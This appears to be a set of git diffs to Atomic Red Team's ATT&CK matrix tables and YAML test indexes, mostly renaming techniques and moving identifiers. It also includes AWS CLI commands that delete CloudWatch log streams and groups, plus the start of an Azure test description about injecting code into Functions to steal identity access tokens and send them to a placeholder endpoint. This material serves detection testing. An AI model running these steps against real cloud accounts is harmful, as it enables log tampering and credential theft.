| | [Command and Scripting Interpreter: PowerShell](../../T1059.001/T1059.001.md) | AppDomainManager [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution: Port Monitors](../../T1547.010/T1547.010.md) | Weaken Encryption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credentials from Password Stores: Credentials from Web Browsers](../../T1555.003/T1555.003.md) | [Domain Trust Discovery](../../T1482/T1482.md) | | [Video Capture](../../T1125/T1125.md) | | Remote Access Hardware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Resource Hijacking](../../T1496/T1496.md) |
@@ -54,7 +54,7 @@
| | | IDE Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Device Registration [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Masquerading](../../T1036/T1036.md) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | |
| | | [Boot or Logon Autostart Execution: Winlogon Helper DLL](../../T1547.004/T1547.004.md) | [Process Injection: Portable Executable Injection](../../T1055.002/T1055.002.md) | [Email Collection: Mailbox Manipulation](../../T1070.008/T1070.008.md) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | |
| | | [SSH Authorized Keys](../../T1098.004/T1098.004.md) | [Boot or Logon Autostart Execution: Login Items](../../T1547.015/T1547.015.md) | [Process Injection](../../T1055/T1055.md) | Conditional Access Policies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | |
| | | [Event Triggered Execution: Image File Execution Options Injection](../../T1546.012/T1546.012.md) | [Access Token Manipulation: Token Impersonation/Theft](../../T1134.001/T1134.001.md) | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credentials from Password Stores: Cloud Secrets Management Stores](../../T1555.006/T1555.006.md) | | | | | | |
| | | [Event Triggered Execution: Image File Execution Options Injection](../../T1546.012/T1546.012.md) | [Access Token Manipulation: Token Impersonation/Theft](../../T1134.001/T1134.001.md) | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Secrets Management Stores [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | |
| | | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Manipulation: Additional Cloud Credentials](../../T1098.001/T1098.001.md) | [Signed Binary Proxy Execution](../../T1218/T1218.md) | [OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow](../../T1003.008/T1003.008.md) | | | | | | |
| | | [Event Triggered Execution: Accessibility Features](../../T1546.008/T1546.008.md) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Indicator Removal on Host: Timestomp](../../T1070.006/T1070.006.md) | [Steal or Forge Kerberos Tickets: Silver Ticket](../../T1558.002/T1558.002.md) | | | | | | |
| | | [Create Account: Domain Account](../../T1136.002/T1136.002.md) | [Event Triggered Execution: Windows Management Instrumentation Event Subscription](../../T1546.003/T1546.003.md) | [Reflective Code Loading](../../T1620/T1620.md) | [Credentials from Password Stores: Windows Credential Manager](../../T1555.004/T1555.004.md) | | | | | | |
@@ -195,7 +195,7 @@
| | | | | [XSL Script Processing](../../T1220/T1220.md) | | | | | | | |
| | | | | [Hide Artifacts: Hidden Files and Directories](../../T1564.001/T1564.001.md) | | | | | | | |
| | | | | [Modify Cloud Compute Infrastructure: Create Snapshot](../../T1578.001/T1578.001.md) | | | | | | | |
| | | | | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
| | | | | [Use Alternate Authentication Material: Application Access Token](../../T1550.001/T1550.001.md) | | | | | | | |
| | | | | [Valid Accounts: Cloud Accounts](../../T1078.004/T1078.004.md) | | | | | | | |
| | | | | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
| | | | | [Hide Artifacts: NTFS File Attributes](../../T1564.004/T1564.004.md) | | | | | | | |
+1 -1
View File
@@ -11,7 +11,7 @@
| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pre-OS Boot: System Firmware](../../T1542.001/T1542.001.md) | [Hijack Execution Flow: Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [OS Credential Dumping: LSA Secrets](../../T1003.004/T1003.004.md) | [Virtualization/Sandbox Evasion: System Checks](../../T1497.001/T1497.001.md) | [Remote Services: Windows Remote Management](../../T1021.006/T1021.006.md) | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Application Layer Protocol](../../T1071/T1071.md) | [Service Stop](../../T1489/T1489.md) |
| Content Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Native API](../../T1106/T1106.md) | [Hijack Execution Flow: Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Direct Volume Access](../../T1006/T1006.md) | Forge Web Credentials: SAML token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Permission Groups Discovery: Domain Groups](../../T1069.002/T1069.002.md) | [Remote Services: Distributed Component Object Model](../../T1021.003/T1021.003.md) | [Data from Removable Media](../../T1025/T1025.md) | [Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | [Remote Access Software](../../T1219/T1219.md) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| [Valid Accounts: Default Accounts](../../T1078.001/T1078.001.md) | [Command and Scripting Interpreter: AutoHotKey & AutoIT](../../T1059.010/T1059.010.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Active Setup](../../T1547.014/T1547.014.md) | Hide Artifacts: Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Service Discovery](../../T1007/T1007.md) | [Use Alternate Authentication Material: Pass the Ticket](../../T1550.003/T1550.003.md) | [Data Staged: Local Data Staging](../../T1074.001/T1074.001.md) | [Exfiltration Over C2 Channel](../../T1041/T1041.md) | Content Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | Domain Trust Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Obfuscated Files or Information: Encrypted/Encoded File](../../T1027.013/T1027.013.md) | [Network Sniffing](../../T1040/T1040.md) | [Network Sniffing](../../T1040/T1040.md) | [Software Deployment Tools](../../T1072/T1072.md) | [Email Collection: Local Email Collection](../../T1114.001/T1114.001.md) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | Domain Trust Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) | [Network Sniffing](../../T1040/T1040.md) | [Software Deployment Tools](../../T1072/T1072.md) | [Email Collection: Local Email Collection](../../T1114.001/T1114.001.md) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Command and Scripting Interpreter](../../T1059/T1059.md) | [Active Setup](../../T1547.014/T1547.014.md) | [Create or Modify System Process: Windows Service](../../T1543.003/T1543.003.md) | Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unsecured Credentials: Credentials in Registry](../../T1552.002/T1552.002.md) | [Network Share Discovery](../../T1135/T1135.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Automated Collection](../../T1119/T1119.md) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Protocol Tunneling](../../T1572/T1572.md) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Browser Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution: Print Processors](../../T1547.012/T1547.012.md) | [Masquerading: Double File Extension](../../T1036.007/T1036.007.md) | [Modify Authentication Process: Password Filter DLL](../../T1556.002/T1556.002.md) | [Peripheral Device Discovery](../../T1120/T1120.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clipboard Data](../../T1115/T1115.md) | [Exfiltration Over Web Service: Exfiltration to Text Storage Sites](../../T1567.003/T1567.003.md) | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Spearphishing Voice [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Software Deployment Tools](../../T1072/T1072.md) | [Create or Modify System Process: Windows Service](../../T1543.003/T1543.003.md) | [Hijack Execution Flow: DLL](../../T1574.001/T1574.001.md) | [Abuse Elevation Control Mechanism: Bypass User Account Control](../../T1548.002/T1548.002.md) | [Steal or Forge Kerberos Tickets: AS-REP Roasting](../../T1558.004/T1558.004.md) | [System Information Discovery](../../T1082/T1082.md) | [Lateral Tool Transfer](../../T1570/T1570.md) | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Web Service: Exfiltration to Cloud Storage](../../T1567.002/T1567.002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bandwidth Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+6 -6
View File
@@ -1046,7 +1046,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1095,7 +1095,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -14301,7 +14300,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14378,6 +14377,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -45531,7 +45531,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -45608,6 +45608,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -50017,7 +50018,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -50053,7 +50054,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+6 -6
View File
@@ -1046,7 +1046,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1095,7 +1095,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -14276,7 +14275,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14353,6 +14352,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -44851,7 +44851,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -44928,6 +44928,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -49103,7 +49104,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -49139,7 +49140,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+6 -6
View File
@@ -1046,7 +1046,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1095,7 +1095,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -14205,7 +14204,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14282,6 +14281,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -44252,7 +44252,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -44329,6 +44329,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -48504,7 +48505,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -48540,7 +48541,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+6 -6
View File
@@ -1046,7 +1046,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1095,7 +1095,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -14205,7 +14204,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14282,6 +14281,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -44426,7 +44426,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -44503,6 +44503,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -48678,7 +48679,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -48714,7 +48715,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+6 -6
View File
@@ -1046,7 +1046,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1095,7 +1095,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -14205,7 +14204,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14282,6 +14281,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -44252,7 +44252,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -44329,6 +44329,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -48504,7 +48505,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -48540,7 +48541,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+8 -8
View File
@@ -1046,7 +1046,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1095,7 +1095,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -12171,9 +12170,9 @@ defense-evasion:
command: |
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
echo "*** Log Stream Created ***"
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
echo "*** Log Stream Deleted ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"
@@ -14630,7 +14629,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14707,6 +14706,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -45015,7 +45015,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -45092,6 +45092,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -49367,7 +49368,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -49403,7 +49404,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+585 -369
View File
@@ -1046,7 +1046,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1095,7 +1095,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -14341,7 +14340,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14418,7 +14417,223 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
atomic_tests: []
identifier: T1550.001
atomic_tests:
- name: Azure - Functions code upload - Functions code injection via Blob upload
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
description: "This test injects code into an Azure Function (RCE).\n\nAttack
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
to T1550.001 \"Azure - Functions code upload - Functions code injection to
retrieve the Functions identity access token\", the depicted code injection
scenario tampers the source code of Azure Functions to perform Subscription
Privilege Escalation by retrieving the identity access token of an Azure functions
instance. In this case, the prepared zip file (underlying package for a Function)
is expected to contain the tampered function presented in src/code_to_insert.py.
Note that the endpoint https://changeme.net needs to be adapted in your packed
function code.\n\nNote:\n- The Azure Function modified in this test must be
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
\n- For Function code upload to Azure Functions that are hosted via Azure
Files in a File Share, refer to T1550.001 \"Azure - Functions code upload
- Functions code injection to retrieve the Functions identity access token\".\n-
The required input fields can be retrieved in a reconnaissance step in test
T1619 \"Azure - Enumerate Storage Account Objects via Key-based authentication
using Azure CLI\". The code of function apps may be inspected and prepared
